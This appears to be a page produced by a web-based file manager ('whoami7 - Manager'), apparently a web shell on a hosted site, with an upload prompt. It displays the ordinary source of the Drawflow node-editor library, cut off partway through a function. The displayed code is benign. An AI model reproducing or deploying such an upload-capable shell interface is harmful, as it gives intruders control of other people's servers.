whoami7 - Manager
:
/
home
/
kckglobal
/
.trash
/
modules
/
ma
/
assets
/
plugins
/
Drawflow-master
/
src
/
Upload File:
files >> //home/kckglobal/.trash/modules/ma/assets/plugins/Drawflow-master/src/drawflow.js
class Drawflow { constructor(container, render = null, parent = null) { this.events = {}; this.container = container; this.precanvas = null; this.nodeId = 1; this.ele_selected = null; this.node_selected = null; this.drag = false; this.reroute = false; this.reroute_fix_curvature = false; this.curvature = 0.5; this.reroute_curvature_start_end = 0.5; this.reroute_curvature = 0.5; this.reroute_width = 6; this.drag_point = false; this.editor_selected = false; this.connection = false; this.connection_ele = null; this.connection_selected = null; this.canvas_x = 0; this.canvas_y = 0; this.pos_x = 0; this.pos_x_start = 0; this.pos_y = 0; this.pos_y_start = 0; this.mouse_x = 0; this.mouse_y = 0; this.line_path = 5; this.first_click = null; this.force_first_input = false; this.draggable_inputs = true; this.useuuid = false; this.parent = parent; this.noderegister = {}; this.render = render; this.drawflow = { "drawflow": { "Home": { "data": {} }}}; // Configurable options this.module = 'Home'; this.editor_mode = 'edit'; this.zoom = 1; this.zoom_max = 1.6; this.zoom_min = 0.5; this.zoom_value = 0.1; this.zoom_last_value = 1; // Mobile this.evCache = new Array(); this.prevDiff = -1; } start () { // console.info("Start Drawflow!!"); this.container.classList.add("parent-drawflow"); this.container.tabIndex = 0; this.precanvas = document.createElement('div'); this.precanvas.classList.add("drawflow"); this.container.appendChild(this.precanvas); /* Mouse and Touch Actions */ this.container.addEventListener('mouseup', this.dragEnd.bind(this)); this.container.addEventListener('mousemove', this.position.bind(this)); this.container.addEventListener('mousedown', this.click.bind(this) ); this.container.addEventListener('touchend', this.dragEnd.bind(this)); this.container.addEventListener('touchmove', this.position.bind(this)); this.container.addEventListener('touchstart', this.click.bind(this)); /* Context Menu */ this.container.addEventListener('contextmenu', this.contextmenu.bind(this)); /* Delete */ this.container.addEventListener('keydown', this.key.bind(this)); /* Zoom Mouse */ this.container.addEventListener('wheel', this.zoom_enter.bind(this)); /* Update data Nodes */ this.container.addEventListener('input', this.updateNodeValue.bind(this)); this.container.addEventListener('dblclick', this.dblclick.bind(this)); /* Mobile zoom */ this.container.onpointerdown = this.pointerdown_handler.bind(this); this.container.onpointermove = this.pointermove_handler.bind(this); this.container.onpointerup = this.pointerup_handler.bind(this); this.container.onpointercancel = this.pointerup_handler.bind(this); this.container.onpointerout = this.pointerup_handler.bind(this); this.container.onpointerleave = this.pointerup_handler.bind(this); this.load(); } /* Mobile zoom */ pointerdown_handler(ev) { this.evCache.push(ev); } pointermove_handler(ev) { for (var i = 0; i < this.evCache.length; i++) { if (ev.pointerId == this.evCache[i].pointerId) { this.evCache[i] = ev; break; } } if (this.evCache.length == 2) { // Calculate the distance between the two pointers var curDiff = Math.abs(this.evCache[0].clientX - this.evCache[1].clientX); if (this.prevDiff > 100) { if (curDiff > this.prevDiff) { // The distance between the two pointers has increased this.zoom_in(); } if (curDiff < this.prevDiff) { // The distance between the two pointers has decreased this.zoom_out(); } } this.prevDiff = curDiff; } } pointerup_handler(ev) { this.remove_event(ev); if (this.evCache.length < 2) { this.prevDiff = -1; } } remove_event(ev) { // Remove this event from the target's cache for (var i = 0; i < this.evCache.length; i++) { if (this.evCache[i].pointerId == ev.pointerId) { this.evCache.splice(i, 1); break; } } } /* End Mobile Zoom */ load() { for (var key in this.drawflow.drawflow[this.module].data) { this.addNodeImport(this.drawflow.drawflow[this.module].data[key], this.precanvas); } if(this.reroute) { for (var key in this.drawflow.drawflow[this.module].data) { this.addRerouteImport(this.drawflow.drawflow[this.module].data[key]); } } for (var key in this.drawflow.drawflow[this.module].data) { this.updateConnectionNodes('node-'+key); } const editor = this.drawflow.drawflow; let number = 1; Object.keys(editor).map(function(moduleName, index) { Object.keys(editor[moduleName].data).map(function(id, index2) { if(parseInt(id) >= number) { number = parseInt(id)+1; } }); }); this.nodeId = number; } removeReouteConnectionSelected(){ this.dispatch('connectionUnselected', true); if(this.reroute_fix_curvature) { this.connection_selected.parentElement.querySelectorAll(".main-path").forEach((item, i) => { item.classList.remove("selected"); }); } } click(e) { this.dispatch('click', e); if(this.editor_mode === 'fixed') { //return false; e.preventDefault(); if(e.target.classList[0] === 'parent-drawflow' || e.target.classList[0] === 'drawflow') { this.ele_selected = e.target.closest(".parent-drawflow"); } else { return false; } } else if(this.editor_mode === 'view') { if(e.target.closest(".drawflow") != null || e.target.matches('.parent-drawflow')) { this.ele_selected = e.target.closest(".parent-drawflow"); e.preventDefault(); } } else { this.first_click = e.target; this.ele_selected = e.target; if(e.button === 0) { this.contextmenuDel(); } if(e.target.closest(".drawflow_content_node") != null) { this.ele_selected = e.target.closest(".drawflow_content_node").parentElement; } } switch (this.ele_selected.classList[0]) { case 'drawflow-node': if(this.node_selected != null) { this.node_selected.classList.remove("selected"); if(this.node_selected != this.ele_selected) { this.dispatch('nodeUnselected', true); } } if(this.connection_selected != null) { this.connection_selected.classList.remove("selected"); this.removeReouteConnectionSelected(); this.connection_selected = null; } if(this.node_selected != this.ele_selected) { this.dispatch('nodeSelected', this.ele_selected.id.slice(5)); } this.node_selected = this.ele_selected; this.node_selected.classList.add("selected"); if(!this.draggable_inputs) { if(e.target.tagName !== 'INPUT' && e.target.tagName !== 'TEXTAREA' && e.target.tagName !== 'SELECT' && e.target.hasAttribute('contenteditable') !== true) { this.drag = true; } } else { if(e.target.tagName !== 'SELECT') { this.drag = true; } } break; case 'output': this.connection = true; if(this.node_selected != null) { this.node_selected.classList.remove("selected"); this.node_selected = null; this.dispatch('nodeUnselected', true); } if(this.connection_selected != null) { this.connection_selected.classList.remove("selected"); this.removeReouteConnectionSelected(); this.connection_selected = null; } this.drawConnection(e.target); break; case 'parent-drawflow': if(this.node_selected != null) { this.node_selected.classList.remove("selected"); this.node_selected = null; this.dispatch('nodeUnselected', true); } if(this.connection_selected != null) { this.connection_selected.classList.remove("selected"); this.removeReouteConnectionSelected(); this.connection_selected = null; } this.editor_selected = true; break; case 'drawflow': if(this.node_selected != null) { this.node_selected.classList.remove("selected"); this.node_selected = null; this.dispatch('nodeUnselected', true); } if(this.connection_selected != null) { this.connection_selected.classList.remove("selected"); this.removeReouteConnectionSelected(); this.connection_selected = null; } this.editor_selected = true; break; case 'main-path': if(this.node_selected != null) { this.node_selected.classList.remove("selected"); this.node_selected = null; this.dispatch('nodeUnselected', true); } if(this.connection_selected != null) { this.connection_selected.classList.remove("selected"); this.removeReouteConnectionSelected(); this.connection_selected = null; } this.connection_selected = this.ele_selected; this.connection_selected.classList.add("selected"); const listclassConnection = this.connection_selected.parentElement.classList; if(listclassConnection.length > 1){ this.dispatch('connectionSelected', { output_id: listclassConnection[2].slice(14), input_id: listclassConnection[1].slice(13), output_class: listclassConnection[3], input_class: listclassConnection[4] }); if(this.reroute_fix_curvature) { this.connection_selected.parentElement.querySelectorAll(".main-path").forEach((item, i) => { item.classList.add("selected"); }); } } break; case 'point': this.drag_point = true; this.ele_selected.classList.add("selected"); break; case 'drawflow-delete': if(this.node_selected ) { this.removeNodeId(this.node_selected.id); } if(this.connection_selected) { this.removeConnection(); } if(this.node_selected != null) { this.node_selected.classList.remove("selected"); this.node_selected = null; this.dispatch('nodeUnselected', true); } if(this.connection_selected != null) { this.connection_selected.classList.remove("selected"); this.removeReouteConnectionSelected(); this.connection_selected = null; } break; default: } if (e.type === "touchstart") { this.pos_x = e.touches[0].clientX; this.pos_x_start = e.touches[0].clientX; this.pos_y = e.touches[0].clientY; this.pos_y_start = e.touches[0].clientY; this.mouse_x = e.touches[0].clientX; this.mouse_y = e.touches[0].clientY; } else { this.pos_x = e.clientX; this.pos_x_start = e.clientX; this.pos_y = e.clientY; this.pos_y_start = e.clientY; } if (['input','output','main-path'].includes(this.ele_selected.classList[0])) { e.preventDefault(); } this.dispatch('clickEnd', e); } position(e) { if (e.type === "touchmove") { var e_pos_x = e.touches[0].clientX; var e_pos_y = e.touches[0].clientY; } else { var e_pos_x = e.clientX; var e_pos_y = e.clientY; } if(this.connection) { this.updateConnection(e_pos_x, e_pos_y); } if(this.editor_selected) { x = this.canvas_x + (-(this.pos_x - e_pos_x)) y = this.canvas_y + (-(this.pos_y - e_pos_y)) this.dispatch('translate', { x: x, y: y}); this.precanvas.style.transform = "translate("+x+"px, "+y+"px) scale("+this.zoom+")"; } if(this.drag) { e.preventDefault(); var x = (this.pos_x - e_pos_x) * this.precanvas.clientWidth / (this.precanvas.clientWidth * this.zoom); var y = (this.pos_y - e_pos_y) * this.precanvas.clientHeight / (this.precanvas.clientHeight * this.zoom); this.pos_x = e_pos_x; this.pos_y = e_pos_y; this.ele_selected.style.top = (this.ele_selected.offsetTop - y) + "px"; this.ele_selected.style.left = (this.ele_selected.offsetLeft - x) + "px"; this.drawflow.drawflow[this.module].data[this.ele_selected.id.slice(5)].pos_x = (this.ele_selected.offsetLeft - x); this.drawflow.drawflow[this.module].data[this.ele_selected.id.slice(5)].pos_y = (this.ele_selected.offsetTop - y); this.updateConnectionNodes(this.ele_selected.id) } if(this.drag_point) { var x = (this.pos_x - e_pos_x) * this.precanvas.clientWidth / (this.precanvas.clientWidth * this.zoom); var y = (this.pos_y - e_pos_y) * this.precanvas.clientHeight / (this.precanvas.clientHeight * this.zoom); this.pos_x = e_pos_x; this.pos_y = e_pos_y; var pos_x = this.pos_x * ( this.precanvas.clientWidth / (this.precanvas.clientWidth * this.zoom)) - (this.precanvas.getBoundingClientRect().x * ( this.precanvas.clientWidth / (this.precanvas.clientWidth * this.zoom))); var pos_y = this.pos_y * ( this.precanvas.clientHeight / (this.precanvas.clientHeight * this.zoom)) - (this.precanvas.getBoundingClientRect().y * ( this.precanvas.clientHeight / (this.precanvas.clientHeight * this.zoom))); this.ele_selected.setAttributeNS(null, 'cx', pos_x); this.ele_selected.setAttributeNS(null, 'cy', pos_y); const nodeUpdate = this.ele_selected.parentElement.classList[2].slice(9); const nodeUpdateIn = this.ele_selected.parentElement.classList[1].slice(13); const output_class = this.ele_selected.parentElement.classList[3]; const input_class = this.ele_selected.parentElement.classList[4]; let numberPointPosition = Array.from(this.ele_selected.parentElement.children).indexOf(this.ele_selected)-1; if(this.reroute_fix_curvature) { const numberMainPath = this.ele_selected.parentElement.querySelectorAll(".main-path").length-1; numberPointPosition -= numberMainPath; if(numberPointPosition < 0) { numberPointPosition = 0; } } const nodeId = nodeUpdate.slice(5); const searchConnection = this.drawflow.drawflow[this.module].data[nodeId].outputs[output_class].connections.findIndex(function(item,i) { return item.node === nodeUpdateIn && item.output === input_class; }); this.drawflow.drawflow[this.module].data[nodeId].outputs[output_class].connections[searchConnection].points[numberPointPosition] = { pos_x: pos_x, pos_y: pos_y }; const parentSelected = this.ele_selected.parentElement.classList[2].slice(9); this.updateConnectionNodes(parentSelected); } if (e.type === "touchmove") { this.mouse_x = e_pos_x; this.mouse_y = e_pos_y; } this.dispatch('mouseMove', {x: e_pos_x,y: e_pos_y }); } dragEnd(e) { if (e.type === "touchend") { var e_pos_x = this.mouse_x; var e_pos_y = this.mouse_y; var ele_last = document.elementFromPoint(e_pos_x, e_pos_y); } else { var e_pos_x = e.clientX; var e_pos_y = e.clientY; var ele_last = e.target; } if(this.drag) { if(this.pos_x_start != e_pos_x || this.pos_y_start != e_pos_y) { this.dispatch('nodeMoved', this.ele_selected.id.slice(5)); } } if(this.drag_point) { this.ele_selected.classList.remove("selected"); if(this.pos_x_start != e_pos_x || this.pos_y_start != e_pos_y) { this.dispatch('rerouteMoved', this.ele_selected.parentElement.classList[2].slice(14)); } } if(this.editor_selected) { this.canvas_x = this.canvas_x + (-(this.pos_x - e_pos_x)); this.canvas_y = this.canvas_y + (-(this.pos_y - e_pos_y)); this.editor_selected = false; } if(this.connection === true) { if(ele_last.classList[0] === 'input' || (this.force_first_input && (ele_last.closest(".drawflow_content_node") != null || ele_last.classList[0] === 'drawflow-node'))) { if(this.force_first_input && (ele_last.closest(".drawflow_content_node") != null || ele_last.classList[0] === 'drawflow-node')) { if(ele_last.closest(".drawflow_content_node") != null) { var input_id = ele_last.closest(".drawflow_content_node").parentElement.id; } else { var input_id = ele_last.id; } if(Object.keys(this.getNodeFromId(input_id.slice(5)).inputs).length === 0) { var input_class = false; } else { var input_class = "input_1"; } } else { // Fix connection; var input_id = ele_last.parentElement.parentElement.id; var input_class = ele_last.classList[1]; } var output_id = this.ele_selected.parentElement.parentElement.id; var output_class = this.ele_selected.classList[1]; if(output_id !== input_id && input_class !== false) { if(this.container.querySelectorAll('.connection.node_in_'+input_id+'.node_out_'+output_id+'.'+output_class+'.'+input_class).length === 0) { // Conection no exist save connection this.connection_ele.classList.add("node_in_"+input_id); this.connection_ele.classList.add("node_out_"+output_id); this.connection_ele.classList.add(output_class); this.connection_ele.classList.add(input_class); var id_input = input_id.slice(5); var id_output = output_id.slice(5); this.drawflow.drawflow[this.module].data[id_output].outputs[output_class].connections.push( {"node": id_input, "output": input_class}); this.drawflow.drawflow[this.module].data[id_input].inputs[input_class].connections.push( {"node": id_output, "input": output_class}); this.updateConnectionNodes('node-'+id_output); this.updateConnectionNodes('node-'+id_input); this.dispatch('connectionCreated', { output_id: id_output, input_id: id_input, output_class: output_class, input_class: input_class}); } else { this.dispatch('connectionCancel', true); this.connection_ele.remove(); } this.connection_ele = null; } else { // Connection exists Remove Connection; this.dispatch('connectionCancel', true); this.connection_ele.remove(); this.connection_ele = null; } } else { // Remove Connection; this.dispatch('connectionCancel', true); this.connection_ele.remove(); this.connection_ele = null; } } this.drag = false; this.drag_point = false; this.connection = false; this.ele_selected = null; this.editor_selected = false; this.dispatch('mouseUp', e); } contextmenu(e) { this.dispatch('contextmenu', e); e.preventDefault(); if(this.editor_mode === 'fixed' || this.editor_mode === 'view') { return false; } if(this.precanvas.getElementsByClassName("drawflow-delete").length) { this.precanvas.getElementsByClassName("drawflow-delete")[0].remove() }; if(this.node_selected || this.connection_selected) { var deletebox = document.createElement('div'); deletebox.classList.add("drawflow-delete"); deletebox.innerHTML = "x"; if(this.node_selected) { this.node_selected.appendChild(deletebox); } if(this.connection_selected && (this.connection_selected.parentElement.classList.length > 1)) { deletebox.style.top = e.clientY * ( this.precanvas.clientHeight / (this.precanvas.clientHeight * this.zoom)) - (this.precanvas.getBoundingClientRect().y * ( this.precanvas.clientHeight / (this.precanvas.clientHeight * this.zoom)) ) + "px"; deletebox.style.left = e.clientX * ( this.precanvas.clientWidth / (this.precanvas.clientWidth * this.zoom)) - (this.precanvas.getBoundingClientRect().x * ( this.precanvas.clientWidth / (this.precanvas.clientWidth * this.zoom)) ) + "px"; this.precanvas.appendChild(deletebox); } } } contextmenuDel() { if(this.precanvas.getElementsByClassName("drawflow-delete").length) { this.precanvas.getElementsByClassName("drawflow-delete")[0].remove() }; } key(e) { this.dispatch('keydown', e); if(this.editor_mode === 'fixed' || this.editor_mode === 'view') { return false; } if (e.key === 'Delete' || (e.key === 'Backspace' && e.metaKey)) { if(this.node_selected != null) { if(this.first_click.tagName !== 'INPUT' && this.first_click.tagName !== 'TEXTAREA' && this.first_click.hasAttribute('contenteditable') !== true) { this.removeNodeId(this.node_selected.id); } } if(this.connection_selected != null) { this.removeConnection(); } } } zoom_enter(event, delta) { if (event.ctrlKey) { event.preventDefault() if(event.deltaY > 0) { // Zoom Out this.zoom_out(); } else { // Zoom In this.zoom_in(); } } } zoom_refresh(){ this.dispatch('zoom', this.zoom); this.canvas_x = (this.canvas_x / this.zoom_last_value) * this.zoom; this.canvas_y = (this.canvas_y / this.zoom_last_value) * this.zoom; this.zoom_last_value = this.zoom; this.precanvas.style.transform = "translate("+this.canvas_x+"px, "+this.canvas_y+"px) scale("+this.zoom+")"; } zoom_in() { if(this.zoom < this.zoom_max) { this.zoom+=this.zoom_value; this.zoom_refresh(); } } zoom_out() { if(this.zoom > this.zoom_min) { this.zoom-=this.zoom_value; this.zoom_refresh(); } } zoom_reset(){ if(this.zoom != 1) { this.zoom = 1; this.zoom_refresh(); } } createCurvature(start_pos_x, start_pos_y, end_pos_x, end_pos_y, curvature_value, type) { var line_x = start_pos_x; var line_y = start_pos_y; var x = end_pos_x; var y = end_pos_y; var curvature = curvature_value; //type openclose open close other switch (type) { case 'open': if(start_pos_x >= end_pos_x) { var hx1 = line_x + Math.abs(x - line_x) * curvature; var hx2 = x - Math.abs(x - line_x) * (curvature*-1); } else { var hx1 = line_x + Math.abs(x - line_x) * curvature; var hx2 = x - Math.abs(x - line_x) * curvature; } return ' M '+ line_x +' '+ line_y +' C '+ hx1 +' '+ line_y +' '+ hx2 +' ' + y +' ' + x +' ' + y; break case 'close': if(start_pos_x >= end_pos_x) { var hx1 = line_x + Math.abs(x - line_x) * (curvature*-1); var hx2 = x - Math.abs(x - line_x) * curvature; } else { var hx1 = line_x + Math.abs(x - line_x) * curvature; var hx2 = x - Math.abs(x - line_x) * curvature; } return ' M '+ line_x +' '+ line_y +' C '+ hx1 +' '+ line_y +' '+ hx2 +' ' + y +' ' + x +' ' + y; break; case 'other': if(start_pos_x >= end_pos_x) { var hx1 = line_x + Math.abs(x - line_x) * (curvature*-1); var hx2 = x - Math.abs(x - line_x) * (curvature*-1); } else { var hx1 = line_x + Math.abs(x - line_x) * curvature; var hx2 = x - Math.abs(x - line_x) * curvature; } return ' M '+ line_x +' '+ line_y +' C '+ hx1 +' '+ line_y +' '+ hx2 +' ' + y +' ' + x +' ' + y; break; default: var hx1 = line_x + Math.abs(x - line_x) * curvature; var hx2 = x - Math.abs(x - line_x) * curvature; return ' M '+ line_x +' '+ line_y +' C '+ hx1 +' '+ line_y +' '+ hx2 +' ' + y +' ' + x +' ' + y; } } drawConnection(ele) { var connection = document.createElementNS('http://www.w3.org/2000/svg',"svg"); this.connection_ele = connection; var path = document.createElementNS('http://www.w3.org/2000/svg',"path"); path.classList.add("main-path"); path.setAttributeNS(null, 'd', ''); // path.innerHTML = 'a'; connection.classList.add("connection"); connection.appendChild(path); this.precanvas.appendChild(connection); var id_output = ele.parentElement.parentElement.id.slice(5); var output_class = ele.classList[1]; this.dispatch('connectionStart', { output_id: id_output, output_class: output_class }); } updateConnection(eX, eY) { const precanvas = this.precanvas; const zoom = this.zoom; let precanvasWitdhZoom = precanvas.clientWidth / (precanvas.clientWidth * zoom); precanvasWitdhZoom = precanvasWitdhZoom || 0; let precanvasHeightZoom = precanvas.clientHeight / (precanvas.clientHeight * zoom); precanvasHeightZoom = precanvasHeightZoom || 0; var path = this.connection_ele.children[0]; var line_x = this.ele_selected.offsetWidth/2 + (this.ele_selected.getBoundingClientRect().x - precanvas.getBoundingClientRect().x ) * precanvasWitdhZoom; var line_y = this.ele_selected.offsetHeight/2 + (this.ele_selected.getBoundingClientRect().y - precanvas.getBoundingClientRect().y ) * precanvasHeightZoom; var x = eX * ( this.precanvas.clientWidth / (this.precanvas.clientWidth * this.zoom)) - (this.precanvas.getBoundingClientRect().x * ( this.precanvas.clientWidth / (this.precanvas.clientWidth * this.zoom)) ); var y = eY * ( this.precanvas.clientHeight / (this.precanvas.clientHeight * this.zoom)) - (this.precanvas.getBoundingClientRect().y * ( this.precanvas.clientHeight / (this.precanvas.clientHeight * this.zoom)) ); var curvature = this.curvature; var lineCurve = this.createCurvature(line_x, line_y, x, y, curvature, 'openclose'); path.setAttributeNS(null, 'd', lineCurve); } addConnection(id_output, id_input, output_class, input_class) { var nodeOneModule = this.getModuleFromNodeId(id_output); var nodeTwoModule = this.getModuleFromNodeId(id_input); if(nodeOneModule === nodeTwoModule) { var dataNode = this.getNodeFromId(id_output); var exist = false; for(var checkOutput in dataNode.outputs[output_class].connections){ var connectionSearch = dataNode.outputs[output_class].connections[checkOutput] if(connectionSearch.node == id_input && connectionSearch.output == input_class) { exist = true; } } // Check connection exist if(exist === false) { //Create Connection this.drawflow.drawflow[nodeOneModule].data[id_output].outputs[output_class].connections.push( {"node": id_input.toString(), "output": input_class}); this.drawflow.drawflow[nodeOneModule].data[id_input].inputs[input_class].connections.push( {"node": id_output.toString(), "input": output_class}); if(this.module === nodeOneModule) { //Draw connection var connection = document.createElementNS('http://www.w3.org/2000/svg',"svg"); var path = document.createElementNS('http://www.w3.org/2000/svg',"path"); path.classList.add("main-path"); path.setAttributeNS(null, 'd', ''); // path.innerHTML = 'a'; connection.classList.add("connection"); connection.classList.add("node_in_node-"+id_input); connection.classList.add("node_out_node-"+id_output); connection.classList.add(output_class); connection.classList.add(input_class); connection.appendChild(path); this.precanvas.appendChild(connection); this.updateConnectionNodes('node-'+id_output); this.updateConnectionNodes('node-'+id_input); } this.dispatch('connectionCreated', { output_id: id_output, input_id: id_input, output_class: output_class, input_class: input_class}); } } } updateConnectionNodes(id) { // AquĆ nos quedamos; const idSearch = 'node_in_'+id; const idSearchOut = 'node_out_'+id; var line_path = this.line_path/2; const container = this.container; const precanvas = this.precanvas; const curvature = this.curvature; const createCurvature = this.createCurvature; const reroute_curvature = this.reroute_curvature; const reroute_curvature_start_end = this.reroute_curvature_start_end; const reroute_fix_curvature = this.reroute_fix_curvature; const rerouteWidth = this.reroute_width; const zoom = this.zoom; let precanvasWitdhZoom = precanvas.clientWidth / (precanvas.clientWidth * zoom); precanvasWitdhZoom = precanvasWitdhZoom || 0; let precanvasHeightZoom = precanvas.clientHeight / (precanvas.clientHeight * zoom); precanvasHeightZoom = precanvasHeightZoom || 0; const elemsOut = container.querySelectorAll(`.${idSearchOut}`); Object.keys(elemsOut).map(function(item, index) { if(elemsOut[item].querySelector('.point') === null) { var elemtsearchId_out = container.querySelector(`#${id}`); var id_search = elemsOut[item].classList[1].replace('node_in_', ''); var elemtsearchId = container.querySelector(`#${id_search}`); var elemtsearch = elemtsearchId.querySelectorAll('.'+elemsOut[item].classList[4])[0] var eX = elemtsearch.offsetWidth/2 + (elemtsearch.getBoundingClientRect().x - precanvas.getBoundingClientRect().x ) * precanvasWitdhZoom; var eY = elemtsearch.offsetHeight/2 + (elemtsearch.getBoundingClientRect().y - precanvas.getBoundingClientRect().y ) * precanvasHeightZoom; var elemtsearchOut = elemtsearchId_out.querySelectorAll('.'+elemsOut[item].classList[3])[0] var line_x = elemtsearchOut.offsetWidth/2 + (elemtsearchOut.getBoundingClientRect().x - precanvas.getBoundingClientRect().x ) * precanvasWitdhZoom; var line_y = elemtsearchOut.offsetHeight/2 + (elemtsearchOut.getBoundingClientRect().y - precanvas.getBoundingClientRect().y ) * precanvasHeightZoom; var x = eX; var y = eY; const lineCurve = createCurvature(line_x, line_y, x, y, curvature, 'openclose'); elemsOut[item].children[0].setAttributeNS(null, 'd', lineCurve ); } else { const points = elemsOut[item].querySelectorAll('.point'); let linecurve = ''; const reoute_fix = []; points.forEach((item, i) => { if(i === 0 && ((points.length -1) === 0)) { var elemtsearchId_out = container.querySelector(`#${id}`); var elemtsearch = item; var eX = (elemtsearch.getBoundingClientRect().x - precanvas.getBoundingClientRect().x ) * precanvasWitdhZoom + rerouteWidth; var eY = (elemtsearch.getBoundingClientRect().y - precanvas.getBoundingClientRect().y ) * precanvasHeightZoom + rerouteWidth; var elemtsearchOut = elemtsearchId_out.querySelectorAll('.'+item.parentElement.classList[3])[0] var line_x = elemtsearchOut.offsetWidth/2 + (elemtsearchOut.getBoundingClientRect().x - precanvas.getBoundingClientRect().x ) * precanvasWitdhZoom; var line_y = elemtsearchOut.offsetHeight/2 + (elemtsearchOut.getBoundingClientRect().y - precanvas.getBoundingClientRect().y ) * precanvasHeightZoom; var x = eX; var y = eY; var lineCurveSearch = createCurvature(line_x, line_y, x, y, reroute_curvature_start_end, 'open'); linecurve += lineCurveSearch; reoute_fix.push(lineCurveSearch); var elemtsearchId_out = item; var id_search = item.parentElement.classList[1].replace('node_in_', ''); var elemtsearchId = container.querySelector(`#${id_search}`); var elemtsearch = elemtsearchId.querySelectorAll('.'+item.parentElement.classList[4])[0] var elemtsearchIn = elemtsearchId.querySelectorAll('.'+item.parentElement.classList[4])[0] var eX = elemtsearchIn.offsetWidth/2 + (elemtsearchIn.getBoundingClientRect().x - precanvas.getBoundingClientRect().x ) * precanvasWitdhZoom; var eY = elemtsearchIn.offsetHeight/2 + (elemtsearchIn.getBoundingClientRect().y - precanvas.getBoundingClientRect().y ) * precanvasHeightZoom; var line_x = (elemtsearchId_out.getBoundingClientRect().x - precanvas.getBoundingClientRect().x ) * precanvasWitdhZoom + rerouteWidth; var line_y = (elemtsearchId_out.getBoundingClientRect().y - precanvas.getBoundingClientRect().y ) * precanvasHeightZoom + rerouteWidth; var x = eX; var y = eY; var lineCurveSearch = createCurvature(line_x, line_y, x, y, reroute_curvature_start_end, 'close'); linecurve += lineCurveSearch; reoute_fix.push(lineCurveSearch); } else if(i === 0) { var elemtsearchId_out = container.querySelector(`#${id}`); var elemtsearch = item; var eX = (elemtsearch.getBoundingClientRect().x - precanvas.getBoundingClientRect().x ) * precanvasWitdhZoom + rerouteWidth; var eY = (elemtsearch.getBoundingClientRect().y - precanvas.getBoundingClientRect().y ) * precanvasHeightZoom + rerouteWidth; var elemtsearchOut = elemtsearchId_out.querySelectorAll('.'+item.parentElement.classList[3])[0] var line_x = elemtsearchOut.offsetWidth/2 + (elemtsearchOut.getBoundingClientRect().x - precanvas.getBoundingClientRect().x ) * precanvasWitdhZoom; var line_y = elemtsearchOut.offsetHeight/2 + (elemtsearchOut.getBoundingClientRect().y - precanvas.getBoundingClientRect().y ) * precanvasHeightZoom; var x = eX; var y = eY; var lineCurveSearch = createCurvature(line_x, line_y, x, y, reroute_curvature_start_end, 'open'); linecurve += lineCurveSearch; reoute_fix.push(lineCurveSearch); // SECOND var elemtsearchId_out = item; var elemtsearch = points[i+1]; var eX = (elemtsearch.getBoundingClientRect().x - precanvas.getBoundingClientRect().x ) * precanvasWitdhZoom + rerouteWidth; var eY = (elemtsearch.getBoundingClientRect().y - precanvas.getBoundingClientRect().y ) * precanvasHeightZoom + rerouteWidth; var line_x = (elemtsearchId_out.getBoundingClientRect().x - precanvas.getBoundingClientRect().x ) * precanvasWitdhZoom + rerouteWidth; var line_y = (elemtsearchId_out.getBoundingClientRect().y - precanvas.getBoundingClientRect().y ) * precanvasHeightZoom + rerouteWidth; var x = eX; var y = eY; var lineCurveSearch = createCurvature(line_x, line_y, x, y, reroute_curvature, 'other'); linecurve += lineCurveSearch; reoute_fix.push(lineCurveSearch); } else if (i === (points.length -1)) { var elemtsearchId_out = item; var id_search = item.parentElement.classList[1].replace('node_in_', ''); var elemtsearchId = container.querySelector(`#${id_search}`); var elemtsearch = elemtsearchId.querySelectorAll('.'+item.parentElement.classList[4])[0] var elemtsearchIn = elemtsearchId.querySelectorAll('.'+item.parentElement.classList[4])[0] var eX = elemtsearchIn.offsetWidth/2 + (elemtsearchIn.getBoundingClientRect().x - precanvas.getBoundingClientRect().x ) * precanvasWitdhZoom; var eY = elemtsearchIn.offsetHeight/2 + (elemtsearchIn.getBoundingClientRect().y - precanvas.getBoundingClientRect().y ) * precanvasHeightZoom; var line_x = (elemtsearchId_out.getBoundingClientRect().x - precanvas.getBoundingClientRect().x ) * (precanvas.clientWidth / (precanvas.clientWidth * zoom)) + rerouteWidth; var line_y = (elemtsearchId_out.getBoundingClientRect().y - precanvas.getBoundingClientRect().y ) * (precanvas.clientHeight / (precanvas.clientHeight * zoom)) + rerouteWidth; var x = eX; var y = eY; var lineCurveSearch = createCurvature(line_x, line_y, x, y, reroute_curvature_start_end, 'close'); linecurve += lineCurveSearch; reoute_fix.push(lineCurveSearch); } else { var elemtsearchId_out = item; var elemtsearch = points[i+1]; var eX = (elemtsearch.getBoundingClientRect().x - precanvas.getBoundingClientRect().x ) * (precanvas.clientWidth / (precanvas.clientWidth * zoom)) + rerouteWidth; var eY = (elemtsearch.getBoundingClientRect().y - precanvas.getBoundingClientRect().y ) * (precanvas.clientHeight / (precanvas.clientHeight * zoom)) +rerouteWidth; var line_x = (elemtsearchId_out.getBoundingClientRect().x - precanvas.getBoundingClientRect().x ) * (precanvas.clientWidth / (precanvas.clientWidth * zoom)) + rerouteWidth; var line_y = (elemtsearchId_out.getBoundingClientRect().y - precanvas.getBoundingClientRect().y ) * (precanvas.clientHeight / (precanvas.clientHeight * zoom)) + rerouteWidth; var x = eX; var y = eY; var lineCurveSearch = createCurvature(line_x, line_y, x, y, reroute_curvature, 'other'); linecurve += lineCurveSearch; reoute_fix.push(lineCurveSearch); } }); if(reroute_fix_curvature) { reoute_fix.forEach((itempath, i) => { elemsOut[item].children[i].setAttributeNS(null, 'd', itempath); }); } else { elemsOut[item].children[0].setAttributeNS(null, 'd', linecurve); } } }) const elems = container.querySelectorAll(`.${idSearch}`); Object.keys(elems).map(function(item, index) { if(elems[item].querySelector('.point') === null) { var elemtsearchId_in = container.querySelector(`#${id}`); var id_search = elems[item].classList[2].replace('node_out_', ''); var elemtsearchId = container.querySelector(`#${id_search}`); var elemtsearch = elemtsearchId.querySelectorAll('.'+elems[item].classList[3])[0] var line_x = elemtsearch.offsetWidth/2 + (elemtsearch.getBoundingClientRect().x - precanvas.getBoundingClientRect().x ) * precanvasWitdhZoom; var line_y = elemtsearch.offsetHeight/2 + (elemtsearch.getBoundingClientRect().y - precanvas.getBoundingClientRect().y ) * precanvasHeightZoom; var elemtsearchId_in = elemtsearchId_in.querySelectorAll('.'+elems[item].classList[4])[0] var x = elemtsearchId_in.offsetWidth/2 + (elemtsearchId_in.getBoundingClientRect().x - precanvas.getBoundingClientRect().x ) * precanvasWitdhZoom; var y = elemtsearchId_in.offsetHeight/2 + (elemtsearchId_in.getBoundingClientRect().y - precanvas.getBoundingClientRect().y ) * precanvasHeightZoom; const lineCurve = createCurvature(line_x, line_y, x, y, curvature, 'openclose'); elems[item].children[0].setAttributeNS(null, 'd', lineCurve ); } else { const points = elems[item].querySelectorAll('.point'); 